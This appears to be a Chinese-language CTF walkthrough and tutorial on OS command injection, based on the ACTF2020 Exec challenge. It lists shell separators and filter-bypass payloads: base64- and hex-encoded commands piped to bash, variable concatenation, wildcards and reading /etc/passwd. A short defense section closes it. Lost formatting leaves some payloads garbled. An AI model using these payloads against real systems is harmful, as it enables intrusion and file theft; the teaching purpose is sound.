别再只会用分号了!命令注入绕过技巧全梳理:从ACTF2020 Exec题看实战中的分隔符与编码
命令注入的艺术从基础分隔符到高级绕过技术实战指南当你面对一个看似简单的Ping功能界面时是否曾想过它可能成为通往系统深处的秘密通道在CTF竞赛和渗透测试中命令注入漏洞往往隐藏在最不起眼的输入框背后。本文将带你深入探索命令注入的奥秘从基础的分隔符使用到高级的编码绕过技巧打造一份真正实用的命令注入绕过手册。1. 命令注入基础理解漏洞本质命令注入漏洞的核心在于应用程序将用户输入未经充分验证就直接拼接到了系统命令中。想象一下一个简单的Ping功能背后可能是这样的代码$ip $_GET[ip]; system(ping -c 3 . $ip);当你在输入框中输入127.0.0.1; ls时实际执行的命令就变成了ping -c 3 127.0.0.1; ls系统会先执行ping命令然后执行ls命令列出当前目录内容。这就是最基础的命令注入原理。常见易受攻击的函数PHP:system(),exec(),passthru(),shell_exec()Python:os.system(),subprocess.call()Java:Runtime.getRuntime().exec()2. 分隔符大全突破简单防御当分号被过滤时安全人员往往会感到束手无策。实际上Linux/Unix系统提供了丰富的命令分隔符选择分隔符作用描述使用示例;顺序执行多条命令127.0.0.1; ls管道符前命令输出作为后命令输入后台执行127.0.0.1 ls前命令成功则执行后命令127.0.0.1 ls$()命令替换127.0.0.1 $(ls)反引号命令替换127.0.0.1 ls%0aURL编码的换行符127.0.0.1%0als%0dURL编码的回车符127.0.0.1%0dls在ACTF2020 Exec题目中尝试以下payload可能会带来惊喜127.0.0.1 ls / 127.0.0.1 | cat /etc/passwd 127.0.0.1 || whoami3. 编码与变形绕过WAF的高级技巧当基础分隔符都被过滤时真正的挑战才开始。以下是几种有效的绕过技术3.1 Base64编码绕过# 原始命令 ls -la /tmp # Base64编码 echo bHMgLWxhIC90bXA | base64 -d | bash在Web输入框中可以构造为127.0.0.1; echo bHMgLWxhIC90bXA | base64 -d | bash3.2 变量拼接技巧# 拆分命令 al;bs;$a$b # 在Web输入中 127.0.0.1; al;bs;$a$b3.3 通配符魔法当关键字符被过滤时通配符能创造奇迹127.0.0.1; cat /fla? 127.0.0.1; cat /fla* 127.0.0.1; cat /fla{g,G}3.4 十六进制与八进制编码# 将cat /etc/passwd转为十六进制 echo 636174202f6574632f706173737764 | xxd -r -p | bash # Web输入形式 127.0.0.1; echo 636174202f6574632f706173737764 | xxd -r -p | bash4. 实战案例分析ACTF2020 Exec题目深度解析让我们模拟ACTF2020 Exec题目的环境进行一次完整的渗透测试流程初步探测127.0.0.1; sleep 5观察响应时间确认命令注入可能性信息收集127.0.0.1 uname -a 127.0.0.1 | id 127.0.0.1 || find / -name *flag*文件系统探索127.0.0.1 ls -la / 127.0.0.1 | ls /var/wwwFlag获取127.0.0.1; tac /flag 127.0.0.1; head -n 10 /flag.txt提示在CTF比赛中flag文件可能位于非常规路径尝试以下命令find / -type f -name *flag* 2/dev/null grep -r flag{ / 2/dev/null5. 防御与对抗从攻击者角度看安全理解攻击手法才能更好地防御。以下是几种常见的防御措施及其可能的绕过方式防御措施输入白名单仅允许数字和点绕过使用编码或变量拼接黑名单过滤过滤分号、管道符等绕过使用不常见的分隔符如%0a使用参数化API绕过寻找其他注入点最佳防御实践使用安全的API如subprocessPython或escapeshellargPHP实施最小权限原则部署WAF但不过度依赖在最近的一次渗透测试中我发现目标系统过滤了所有常见分隔符但通过%0a编码的换行符成功实现了命令注入。这再次证明了安全防御需要多层次、深度防御的策略。